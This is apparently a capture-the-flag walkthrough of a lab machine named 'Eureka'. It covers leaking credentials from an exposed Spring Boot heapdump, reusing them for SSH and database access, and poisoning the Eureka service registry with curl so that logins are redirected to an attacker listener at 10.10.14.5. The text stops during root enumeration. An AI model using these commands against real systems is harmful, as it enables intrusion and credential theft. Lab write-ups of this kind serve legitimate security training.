RECON

Port Scan

$ rustscan -a $target_ip --ulimit 1000 -r 1-65535 -- -A -sC -Pn

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpa5HH8lfpsh11cCkEoqcNXWPj6wh8GaDrnXst/q7zd1PlBzzwnhzez+7mhwfv1PuPf5fZ7KtZLMfVPuUzkUHVEwF0gSN0GrFcKl/D34HmZPZAsSpsWzgrE2sayZa3xZuXKgrm5O4wyY+LHNPuHDUo0aUqZp/f7SBPqdwDdBVtcE8ME/AyTeJiJrOhgQWEYxSiHMzsm3zX40ehWg2vNjFHDRZWCj3kJQi0c6Eh0T+hnuuK8A3Aq2Ik+L2aITjTy0fNqd9ry7i6JMumO6HjnSrvxAicyjmFUJPdw1QNOXm+m+p37fQ+6mClAh15juBhzXWUYU22q2q9O/Dc/SAqlIjn1lLbhpZNengZWpJiwwIxXyDGeJU7VyNCIIYU8J07BtoE4fELI26T8u2BzMEJI5uK3UToWKsriimSYUeKA6xczMV+rBRhdbGe39LI5AKXmVM1NELtqIyt7ktmTOkRQ024ZoSS/c+ulR4Ci7DIiZEyM2uhVfe0Ah7KnhiyxdMSlb0=
|   256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNqI0DxtJG3vy9f8AZM8MAmyCh1aCSACD/EKI7solsSlJ937k5Z4QregepNPXHjE+w6d8OkSInNehxtHYIR5nKk=
|   256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHNmmTon1qbQUXQdI6Ov49enFe6SgC40ECUXhF0agNVn
80/tcp   open  http    syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
8761/tcp open  http    syn-ack Apache Tomcat (language: en)
|_http-title: Site doesn't have a title.
| http-auth:
| HTTP/1.1 401 \x0D
|_  Basic realm=Realm
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 8761: exposed a Tomcat administrative interface. Typically, the initial move would involve brute-forcing with default Tomcat credentials (tomcat:tomcat, admin:admin, and so forth), pivoting to a WAR file deployment if authentication is compromised.

Simultaneously, the primary foothold appears accessible via http://furni.htb/—our front door into the system’s labyrinth.

Port 80

Look Around

Port 80 hosts a furniture e-commerce platform, where users can submit a contact form via a POST request:

We also find a /comment endpoint for blog submissions. However, after some XSS probing, no injection points were found vulnerable.

Dirsearch

$ dirsearch -u http://furni.htb/ -x 399-499

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12266

Target: http://furni.htb/

[20:22:04] Scanning:
[20:22:49] 200 -   14KB - /about
[20:22:51] 200 -    2KB - /actuator
[20:22:52] 200 -    20B - /actuator/caches
[20:22:53] 200 -     2B - /actuator/info
[20:22:53] 200 -   467B - /actuator/features
[20:22:53] 200 -    6KB - /actuator/env
[20:22:53] 200 -    15B - /actuator/health
[20:22:53] 200 -    3KB - /actuator/metrics
[20:22:53] 200 -    54B - /actuator/scheduledtasks
[20:22:53] 200 -   35KB - /actuator/mappings
[20:22:53] 200 -   36KB - /actuator/configprops
[20:22:53] 200 -   99KB - /actuator/loggers
[20:22:52] 200 -  180KB - /actuator/conditions
[20:22:52] 200 -  198KB - /actuator/beans
[20:22:53] 200 -  211KB - /actuator/threaddump
[20:22:53] 200 -   76MB - /actuator/heapdump
[20:23:26] 200 -   13KB - /blog
[20:23:27] 302 -     0B - /cart  ->  http://furni.htb/login
[20:23:29] 302 -     0B - /checkout  ->  http://furni.htb/login
[20:23:32] 302 -     0B - /comment  ->  http://furni.htb/login
[20:23:36] 200 -   10KB - /contact
[20:23:48] 500 -    73B - /error
[20:24:14] 200 -    2KB - /login
[20:24:16] 200 -    1KB - /logout
[20:24:46] 200 -    9KB - /register
[20:24:53] 200 -   14KB - /services
[20:24:54] 200 -   12KB - /shop

Task Completed

Spring Boot Actuator Endpoints are Public! /actuator endpoints like:

  • /env
  • /heapdump
  • /mappings
  • /beans
  • /loggers
  • /heapdump (76MB!)

Clear signal: the backend rides on a Spring Boot application.

Port 8761 | Tomcat

This port leaks a Tomcat administration panel:

Old-school HTTP Basic Authentication in place:

HTTP
GET / HTTP/1.1
Host: furni.htb:8761
Cache-Control: max-age=0
Authorization: Basic YWFhOmFhYQ==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: SESSION=M2UwN2E2OTgtM2IxOS00ZmM4LThjYzQtYzUzMTY0MThiYTkz; JSESSIONID=225DC3A504EE3C9BF0CD445CACA6363B
Connection: keep-alive

WEB

Sprint Boot Actuator

/actuator

It strips the traditional Spring complexity down to a slick, fire-and-forget model—compile a .jar, and boom, the app breathes online with its own embedded server (Tomcat, Jetty, etc.).

Bundled with it comes Spring Boot Actuator — an operational god mode. Actuator opens special management endpoints like /actuator/health, /actuator/env, /actuator/heapdump, allowing real-time visibility into the application's pulse.

If these endpoints are exposed publicly, it’s game over. They spill system guts, environment secrets, memory states—a buffet for attackers.

Key Actuator Endpoints (Critical for Attackers):

EndpointUsageRisk
/actuator/envShows environment variablesCan leak DB creds, API keys, tokens
/actuator/heapdumpDumps server memory snapshotCredentials, tokens, sessions in RAM
/actuator/mappingsLists all API routesDiscover hidden admin APIs
/actuator/beansLists internal objectsReveal service structure, logic hints
/actuator/healthSystem health infoMinor info leak unless extended

A naked /heapdump is a loaded shotgun pointed at the server’s own head.

Enum Endpoints

Env

Snagging /actuator/env dropped a detailed JSON on the deck, revealing the server’s internal configuration. The app’s default profile boots off a local application.properties at /var/www/web/Furni/src/main/resources/, where critical operational parameters live:

JSON
{
  "name": "Config resource 'file [/var/www/web/Furni/src/main/resources/application.properties]' via location '/var/www/web/Furni/src/main/resources/application.properties'",
  "properties": {
    "spring.application.name": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 1:25"
    },
    "spring.session.store-type": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 2:27"
    },
    "spring.cloud.inetutils.ignoredInterfaces": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 3:42"
    },
    "spring.cloud.client.hostname": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 4:30"
    },
    "eureka.client.service-url.defaultZone": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 6:40"
    },
    "eureka.instance.hostname": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 7:26"
    },
    "eureka.instance.prefer-ip-address": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 8:35"
    },
    "spring.jpa.hibernate.ddl-auto": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 10:31"
    },
    "spring.datasource.url": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 11:23"
    },
    "spring.datasource.username": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 12:28"
    },
    "spring.datasource.password": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 13:28"
    },
    "spring.datasource.driver-class-name": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 14:37"
    },
    "spring.jpa.properties.hibernate.format_sql": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 15:44"
    },
    "server.address": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 17:16"
    },
    "server.port": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 18:13"
    },
    "server.forward-headers-strategy": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 20:33"
    },
    "management.endpoints.web.exposure.include": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 22:43"
    }
  }
}
  • Database is configured (spring.datasource.url, spring.datasource.username, spring.datasource.password): credentials are masked but possibly recoverable from heapdump memory.
  • This server uses Eureka service discovery, with eureka.client.service-url.defaultZone defined (although masked). This indicates the application actively participates in a service registry system, typically in microservice architectures.

It hints that internal service registration credentials exist.

Feature

Pulling /actuator/features showcased active integrations inside the Furni app:

JSON
{
  "enabled": [
    {
      "type": "com.netflix.discovery.EurekaClient",
      "name": "Eureka Client",
      "version": "2.0.3",
      "vendor": null
    },
    {
      "type": "org.springframework.cloud.client.discovery.composite.CompositeDiscoveryClient",
      "name": "DiscoveryClient",
      "version": "4.1.4",
      "vendor": "Pivotal Software, Inc."
    },
    {
      "type": "org.springframework.cloud.loadbalancer.blocking.client.BlockingLoadBalancerClient",
      "name": "LoadBalancerClient",
      "version": "4.1.4",
      "vendor": "Pivotal Software, Inc."
    }
  ],
  "disabled": []
}

The app registers itself as a service to Eureka server of version 2.0.3. It fetches peers, and likely relies on load balancing between internal components.

Heapdump

We snag the heapdump straight from /actuator/heapdump:

$ curl -O http://furni.htb/actuator/heapdump

$ file heapdump
heapdump: Java HPROF dump, created Thu Aug  1 18:29:32 2024

When the Java server was running:

  • If the application had a password loaded in memory: admin:SuperSecret123!
  • If it had active JWT sessions: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  • If it connected to a DB: JDBC URL and password would be alive.

The heapdump would contain raw memory bytes for those values.

To crack it open, unleash JDumpSpider:

$ java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump.hprof

===========================================
SpringDataSourceProperties
-------------
password = 0sc@r190_S0l!dP@sswd
driverClassName = com.mysql.cj.jdbc.Driver
url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
username = oscar190

===========================================
WeblogicDataSourceConnectionPoolConfig
-------------
not found!

===========================================
MongoClient
-------------
not found!

===========================================
AliDruidDataSourceWrapper
-------------
not found!

===========================================
HikariDataSource
-------------
java.lang.NumberFormatException: Cannot parse null string
not found!

===========================================
RedisStandaloneConfiguration
-------------
not found!

===========================================
JedisClient
-------------
not found!

===========================================
CookieRememberMeManager(ShiroKey)
-------------
not found!

===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
spring.datasource.driver-class-name = com.mysql.cj.jdbc.Driver
spring.cloud.inetutils.ignoredInterfaces = enp0s.*
eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
server.forward-headers-strategy = native
spring.datasource.url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.application.name = Furni
server.port = 8082
spring.jpa.properties.hibernate.format_sql = true
spring.session.store-type = jdbc
spring.jpa.hibernate.ddl-auto = none

===========================================
MutablePropertySources
-------------
spring.cloud.client.ip-address = 127.0.0.1
local.server.port = null
spring.cloud.client.hostname = eureka

===========================================
MapPropertySources
-------------
spring.cloud.client.ip-address = 127.0.0.1
spring.cloud.client.hostname = eureka
local.server.port = null

===========================================
ConsulPropertySources
-------------
not found!

===========================================
JavaProperties
-------------
not found!

===========================================
ProcessEnvironment
-------------
not found!

===========================================
OSS
-------------
not found!

===========================================
UserPassSearcher
-------------
org.springframework.security.web.authentication.ui.DefaultLoginPageGeneratingFilter:
[oauth2LoginEnabled = false, passwordParameter = password, formLoginEnabled = true, usernameParameter = username, loginPageUrl = /login, authenticationUrl = /login, saml2LoginEnabled = false, failureUrl = /login?error]
[oauth2LoginEnabled = false, formLoginEnabled = false, saml2LoginEnabled = false]

org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter:
[passwordParameter = password, usernameParameter = username]

org.antlr.v4.runtime.atn.LexerATNConfig:
[passedThroughNonGreedyDecision = false]

org.antlr.v4.runtime.atn.ATNDeserializationOptions:
[generateRuleBypassTransitions = false]

org.hibernate.boot.internal.InFlightMetadataCollectorImpl:
[inSecondPass = false]

com.mysql.cj.protocol.a.authentication.AuthenticationLdapSaslClientPlugin:
[firstPass = true]

com.mysql.cj.protocol.a.authentication.CachingSha2PasswordPlugin:
[publicKeyRequested = false]

com.mysql.cj.protocol.a.authentication.Sha256PasswordPlugin:
[publicKeyRequested = false]

com.mysql.cj.NativeCharsetSettings:
[platformDbCharsetMatches = true]

com.mysql.cj.protocol.a.NativeAuthenticationProvider:
[database = Furni_WebApp_DB, useConnectWithDb = true, serverDefaultAuthenticationPluginName = mysql_native_password, username = oscar190]

com.mysql.cj.jdbc.ConnectionImpl:
[password = 0sc@r190_S0l!dP@sswd, database = Furni_WebApp_DB, origHostToConnectTo = localhost, user = oscar190]

com.mysql.cj.conf.HostInfo:
[password = 0sc@r190_S0l!dP@sswd, host = localhost, user = oscar190]

com.zaxxer.hikari.pool.HikariPool:
[aliveBypassWindowMs = 500, isUseJdbc4Validation = true]

org.springframework.cloud.netflix.eureka.EurekaClientConfigBean:
[eurekaServerConnectTimeoutSeconds = 5, useDnsForFetchingServiceUrls = false, eurekaServerReadTimeoutSeconds = 8, eurekaServerTotalConnections = 200, eurekaServiceUrlPollIntervalSeconds = 300, eurekaServerTotalConnectionsPerHost = 50]

org.springframework.boot.autoconfigure.security.SecurityProperties$User:
[password = 4312eecb-54e8-46b9-a645-5b9df3ea21d8, passwordGenerated = true]

org.springframework.boot.autoconfigure.jdbc.DataSourceProperties:
[password = 0sc@r190_S0l!dP@sswd, url = jdbc:mysql://localhost:3306/Furni_WebApp_DB, username = oscar190]

org.springframework.security.authentication.dao.DaoAuthenticationProvider:
[hideUserNotFoundExceptions = true]

com.zaxxer.hikari.HikariDataSource:
[password = 0sc@r190_S0l!dP@sswd, jdbcUrl = jdbc:mysql://localhost:3306/Furni_WebApp_DB, username = oscar190]

org.apache.catalina.startup.Tomcat:
[hostname = localhost]

Findings from Heapdump spider:

  • MySQL Credentials:
    • Username: oscar190
    • Password: 0sc@r190_S0l!dP@sswd
    • Database URL: jdbc:mysql://localhost:3306/Furni_WebApp_DB
  • Eureka Service Credentials:
    • Username: EurekaSrvr
    • Password: 0scarPWDisTheB3st
    • Service URL: http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
  • Spring Boot Default User Password:
    • Auto-generated password: 4312eecb-54e8-46b9-a645-5b9df3ea21d8
  • Server Configuration:
    • Application Name: Furni
    • Server Port: 8082
    • Session Store: jdbc (sessions stored in database)
    • Hibernate setting: format_sql=true

MySQL

The credentials excavated from the heapdumposcar190 / 0sc@r190_S0l!dP@sswd — grant SSH access as user oscar190:

Once inside, we breach the MySQL database:

oscar190@eureka:~$ mysql -uoscar190 -p
Enter password:

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 116
Server version: 10.3.39-MariaDB-0ubuntu0.20.04.2 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| Furni_WebApp_DB    |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [(none)]> use Furni_WebApp_DB;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [Furni_WebApp_DB]> show tables;
+---------------------------+
| Tables_in_Furni_WebApp_DB |
+---------------------------+
| SPRING_SESSION            |
| SPRING_SESSION_ATTRIBUTES |
| blogs                     |
| cart                      |
| cart_items                |
| cart_product              |
| cart_product_seq          |
| cart_seq                  |
| carts                     |
| category                  |
| category_seq              |
| comment                   |
| customer                  |
| customer_seq              |
| furniture                 |
| product                   |
| product_id                |
| product_seq               |
| users                     |
+---------------------------+
19 rows in set (0.001 sec)

MariaDB [Furni_WebApp_DB]> select * from users;
+----+------------+-----------+-------------------------+--------------------------------------------------------------+----------+
| id | first_name | last_name | email                   | password                                                     | is_staff |
+----+------------+-----------+-------------------------+--------------------------------------------------------------+----------+
|  2 | Kamel      | Mossab    | [email protected] | $2a$10$J4yap5ZxviliZO9jBCuSdeD.7LzL3/njVpNhnG85HCcwA05ulUrzW |        0 |
|  4 | Lorra      | Barker    | [email protected]      | $2a$10$DgUDWpxipW2Yt7UcKxzvweB7FXoV/LFxlJG8yuL56NyUMMLr5uBuK |        0 |
|  5 | Martin     | Wood      | [email protected]         | $2a$10$3LDYl5QEt4K4u8vLWMGH8eDA/fNKVquhHNbyijaDzzueKHAwi6bHO |        0 |
|  8 | Roberto    | Dalton    | [email protected]  | $2a$10$4TLCSlEfYrNDFfPDQ5z4p.S6gImA8NKAGn2tyqLJyG71l9iQoTDhu |        0 |
|  9 | Miranda    | Wise      | [email protected]  | $2a$10$T4L873JALnbXH10tq.mEbOOVYmZPLlBBSeD1h2hqAeX6nbTDXMyqm |        1 |
| 10 | Oscar      | Dalton    | [email protected]      | $2a$10$ye9a40a7KOyBJKUai2qxY.fcfVQGlFTM3SVSVcn82wxQf/2zYPq96 |        1 |
| 11 | Nya        | Dalton    | [email protected]        | $2a$10$GZQOgzb4N1xVs3ALpnuqGeId5/mZLL8pv5GlkRzJfxdFxO/JIkIaK |        1 |
| 12 | lucas      | carols    | [email protected]   | $2a$10$J93xmU0.yP0/oZmoV9K4u.XvYHtl.kunSX9xoe2RACqKcitM4OjlC |        0 |
+----+------------+-----------+-------------------------+--------------------------------------------------------------+----------+
8 rows in set (0.001 sec)

All hashes are bcrypt ($2a$10$), making them bruteforce-resistant without serious GPU firepower.

Internal Enum

Within the oscar190 shell, we start peeling back the system’s layers.

We can read /honme or /etc/passwd to leak existed users:

oscar190@eureka:/var/www/web/cloud-gateway/src/main/resources$ ll /home
total 16
drwxr-xr-x  4 root         root         4096 Aug  9  2024 ./
drwxr-xr-x 19 root         root         4096 Apr 22 12:47 ../
drwxr-x---  8 miranda-wise miranda-wise 4096 Mar 21 13:26 miranda-wise/
drwxr-x---  5 oscar190     oscar190     4096 Apr  1 12:57 oscar190/

oscar190@eureka:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
mysql:x:115:119:MySQL Server,,,:/nonexistent:/bin/false
oscar190:x:1000:1001:,,,:/home/oscar190:/bin/bash
miranda-wise:x:1001:1002:,,,:/home/miranda-wise:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false

Valid user miranda-wise found for the Linux system.

Web root exposure:

oscar190@eureka:~$ ls /var/www -l

total 8
drwxr-xr-x 2 root     root       4096 Apr 10 07:27 html
drwxrwxr-x 7 www-data developers 4096 Mar 18 21:19 web

Drilling into /var/www/web/cloud-gateway/src/main/resources, jackpot a configuration file application.yaml:

YAML
eureka:
  instance:
    hostname: localhost
    prefer-ip-address: false
  client:
    registry-fetch-interval-seconds: 20
    service-url:
      defaultZone: http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/

spring:
  cloud:
    client:
      hostname: localhost
    gateway:
      routes:
        - id: user-management-service
          uri: lb://USER-MANAGEMENT-SERVICE
          predicates:
            - Path=/login,/logout,/register,/process_register
        - id: furni
          uri: lb://FURNI
          predicates:
            - Path=/**

  application:
    name: app-gateway

server:
  port: 8080
  address: 127.0.0.1

management:
  tracing:
    sampling:
      probability: 1

logging:
  level:
    root: INFO
  file:
    name: log/application.log
    path: ./

It confirms exactly how Eureka is configured inside the app.

This explicitly shows:

  • Username: EurekaSrvr
  • Password: 0scarPWDisTheB3st
  • Eureka server URL: http://localhost:8761/eureka/
  • The app forwards /login, /register, etc. directly to the service USER-MANAGEMENT-SERVICE via Eureka.

This is why we can MITM login by spoofing USER-MANAGEMENT-SERVICE introduced in the next section — because requests like /login are transparently routed by load balancer (lb:// means LoadBalancer) to whatever IP is registered in Eureka.

Eureka

Eureka Workflow

Eureka, the one host on port 8762, is a Service Discovery Server developed by Netflix, later integrated into Spring Cloud Netflix for microservices – It acts like a "yellow pages" for microservices inside a distributed system.

In simple terms:

Eureka helps services find and talk to each other automatically.

Instead of hardcoding IP addresses, microservices register themselves to Eureka, and query Eureka to discover where other services are.

Eurekaitself is a Java Spring Boot application that internally runs on an embedded Apache Tomcat server. Port 8761 is the default port used by Eureka Server when it runs, and this is confirmed via the downloaded heapdump file.

Eureka workflow can be illustrated as the following diagram:

+-------------------+                   +-------------------+
|     Service A     |                   |     Service B     |
|  (Eureka Client)  |                   |  (Eureka Client)  |
+-------------------+                   +-------------------+
          |                                         |
  1. Register itself                      1. Register itself
          |                                         |
          |                                         |
          |        2. Heartbeat (keep alive)        |
          |---------------------------------------->|
          |                                         |
          |                                         |
          v                                         v
 +---------------------------------------------------------+
 |                 Eureka Server (Port 8761)               |
 |                                                         |
 |  - Stores service name, IP, port, metadata              |
 |  - Updates status based on heartbeats                   |
 |  - Provides lookup API for clients                      |
 +---------------------------------------------------------+
          ^                                         ^
          |                                         |
          |    3. Lookup other services             |   3. Lookup other services
          | <---------------------------------------|
          |                                         |
          |                                         |
          | 4. Eureka responds with target IP/Port  |
          |---------------------------------------> |
          |                                         |
          v                                         v
+---------------------+                  +---------------------+
|     Service A       |                  |      Service B      |
| (makes direct call) |                  | (makes direct call) |
+---------------------+                  +---------------------+

Password Reusing

On port 8761, armed with the credentials ripped from the heapdump (EurekaSrvr / 0scarPWDisTheB3st), we breach the Eureka service:

MITM

Service Overview

Inside the Eureka dashboard, three live services shimmer in the dark:

Application NameStatusURL
APP-GATEWAYUPlocalhost:app-gateway:8080
FURNIUPlocalhost:Furni:8082
USER-MANAGEMENT-SERVICEUPlocalhost:USER-MANAGEMENT-SERVICE:8081
  • The APP-GATEWAY is the brains routing user traffic.
  • FURNI is the web frontend we first touched on port 80.
  • And USER-MANAGEMENT-SERVICE — that's where authentication lives.

While APP-GATEWAY usually processes some internal routing, USER-MANAGEMENT-SERVICE tends to provide user information for authentication. For example:

Login Form → APP-GATEWAY → USER-MANAGEMENT-SERVICE → DB

By knowing the workflow from previous 2 sections, we can easily come up with an idea to hijack one of the services exposed (aka MITM attack), with the privileges as the Eureka service admin.

The idea is – Eureka relies on registered services to route traffic between microservices, which means It trusts whatever is in its registry. If we replace a real service (e.g., USER-MANAGEMENT-SERVICE) with our fake server, all traffic that would normally go to the real one will now go to us. Then the authentication traffic should become:

Login Form → APP-GATEWAY → USER-MANAGEMENT-SERVICE (hijacked) → OUR SERVER 

Therefore, we can poison the service discovery and hijack user sessions.

To manipulate with Eureka REST operations, we can refer to the official documentation – but this is for older v1 version, which does not completely work for the newer v2 version. Where:

The existing open source work on eureka 2.0 is discontinued. The code base and artifacts that were released as part of the existing repository of work on the 2.x branch is considered use at your own risk.

However, we can just refer to spring.io for the guides on new version with the revealed Eureka configuration in previous Internal Enum section.

1. Get the registration info for the real service

Bash
curl -u 'EurekaSrvr:0scarPWDisTheB3st@http://furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE'

This dumps the current XML configuration for the USER-MANAGEMENT-SERVICE:

XML
<application>
  <name>USER-MANAGEMENT-SERVICE</name>
  <instance>
    <instanceId>localhost:USER-MANAGEMENT-SERVICE:8081</instanceId>
    <hostName>localhost</hostName>
    <app>USER-MANAGEMENT-SERVICE</app>
    <ipAddr>10.129.▒▒.▒▒</ipAddr>
    <status>UP</status>
    <overriddenstatus>UNKNOWN</overriddenstatus>
    <port enabled="true">8081</port>
    <securePort enabled="false">443</securePort>
    <countryId>1</countryId>
    <dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
      <name>MyOwn</name>
    </dataCenterInfo>
    <leaseInfo>
      <renewalIntervalInSecs>30</renewalIntervalInSecs>
      <durationInSecs>90</durationInSecs>
      <registrationTimestamp>1745499547869</registrationTimestamp>
      <lastRenewalTimestamp>1745741209415</lastRenewalTimestamp>
      <evictionTimestamp>0</evictionTimestamp>
      <serviceUpTimestamp>1745499547869</serviceUpTimestamp>
    </leaseInfo>
    <metadata>
      <management.port>8081</management.port>
    </metadata>
    <homePageUrl>http://localhost:8081/</homePageUrl>
    <statusPageUrl>http://localhost:8081/actuator/info</statusPageUrl>
    <healthCheckUrl>http://localhost:8081/actuator/health</healthCheckUrl>
    <vipAddress>USER-MANAGEMENT-SERVICE</vipAddress>
    <secureVipAddress>USER-MANAGEMENT-SERVICE</secureVipAddress>
    <isCoordinatingDiscoveryServer>false</isCoordinatingDiscoveryServer>
    <lastUpdatedTimestamp>1745499547869</lastUpdatedTimestamp>
    <lastDirtyTimestamp>1745499547192</lastDirtyTimestamp>
    <actionType>ADDED</actionType>
  </instance>
</application>

We need this for our fake service to look similar.

2. Create malicious XML

With the retrieved config file, we then modify these fields in our midman.xml:

FieldChange to
<instanceId>attacker_ip:USER-MANAGEMENT-SERVICE:8081
<hostName>attacker IP
<ipAddr>attacker IP
<port>Choose the port we will listen on
<homePageUrl>http://attacker_ip:port
<statusPageUrl>http://attacker_ip:portactuator/info
<healthCheckUrl>http://attacker_ip:port/actuator/health

Example replacement if attacker IP is 10.10.14.5 and we would listen on port 4444 to steal traffic as a middle man:

XML
<instance>
  <instanceId>happy-middle-man</instanceId>
  <hostName>10.10.14.5</hostName>
  <app>USER-MANAGEMENT-SERVICE</app>
  <ipAddr>10.10.14.5</ipAddr>
  <status>UP</status>
  <overriddenstatus>UNKNOWN</overriddenstatus>
  <port enabled="true">4444</port>
  <securePort enabled="false">443</securePort>
  <countryId>1</countryId>
  <dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
    <name>MyOwn</name>
  </dataCenterInfo>
  <leaseInfo>
    <renewalIntervalInSecs>30</renewalIntervalInSecs>
    <durationInSecs>90</durationInSecs>
    <registrationTimestamp>1745499547869</registrationTimestamp>
    <lastRenewalTimestamp>1745741209415</lastRenewalTimestamp>
    <evictionTimestamp>0</evictionTimestamp>
    <serviceUpTimestamp>1745499547869</serviceUpTimestamp>
  </leaseInfo>
  <metadata>
    <management.port>4444</management.port>
  </metadata>
  <homePageUrl>http://10.10.14.5:4444/</homePageUrl>
  <statusPageUrl>http://10.10.14.5:4444/actuator/info</statusPageUrl>
  <healthCheckUrl>http://10.10.14.5:4444/actuator/health</healthCheckUrl>
  <vipAddress>USER-MANAGEMENT-SERVICE</vipAddress>
  <secureVipAddress>USER-MANAGEMENT-SERVICE</secureVipAddress>
  <isCoordinatingDiscoveryServer>false</isCoordinatingDiscoveryServer>
  <lastUpdatedTimestamp>1745499547869</lastUpdatedTimestamp>
  <lastDirtyTimestamp>1745499547192</lastDirtyTimestamp>
  <actionType>ADDED</actionType>
</instance>

Eureka expects only <instance>...</instance> whenwe POST /eureka/apps/USER-MANAGEMENT-SERVICE.

3. Register fake instance

POST our modified midman.xml back into Eureka:

Bash
curl -i -u 'EurekaSrvr:0scarPWDisTheB3st' \
     -H "Content-Type: application/xml" \
     -d @midman.xml \
     -X POST http://furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE

When users/microservices ask for the service, our malicious server address will be given.

4. Delete the original instance

Kill the original real service entry for replacement:

Bash
curl -i -u 'EurekaSrvr:0scarPWDisTheB3st' \
     -X DELETE \
     'http://furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE/localhost:USER-MANAGEMENT-SERVICE:8081'

5. Launch a listener

Setup a listener in advance and we capture the login credentials for a user called miranda.wise:

Our MITM attack works and we exfiltrate the credentials [email protected] / IL!veT0Be&BeT0L0ve.

Recover the USER-MANAGEMENT-SERVICE service, where the web app relies on, with the saved config file:

Bash
curl -i -u 'EurekaSrvr:0scarPWDisTheB3st' \
     -H "Content-Type: application/xml" \
     -d @old.xml \
     -X POST http://furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE

Remove the hijacked one, then we can login the Furni web app as Miranda Wise:

USER

Password Reuse

Recycling the stolen password IL!veT0Be&BeT0L0ve, we pivot deeper — logging in as user miranda-wise, who is member of the developers group, we can SSH login the machine:

And take the user flag here.

ROOT

Local Enum

No sudo:

miranda-wise@eureka:/dev/shm$ sudo -l

[sudo] password for miranda-wise:
Sorry, user miranda-wise may not run sudo on localhost.

We can run LinPEAS on the target for enumeration.

╔══════════╣ Modified interesting files in the last 5mins (limit 100)

/var/log/journal/05275fe65ca74999b42379fe4b17d273/system@c4d33b84ac324922a1dbe5e9e12d424f-000000000019ddb1-000633c0adb53143.journal
/var/log/journal/05275fe65ca74999b42379fe4b17d273/user-1001.journal
/var/log/journal/05275fe65ca74999b42379fe4b17d273/user-1001@53a7e125097f4490b11ad9917c66d73d-000000000019f86b-000633c0f076f58a.journal
/var/log/journal/05275fe65ca74999b42379fe4b17d273/user-1000.journal
/var/log/journal/05275fe65ca74999b42379fe4b17d273/system.journal
/var/log/laurel/audit.log.5
/var/log/laurel/audit.log.3
/var/log/laurel/audit.log.2
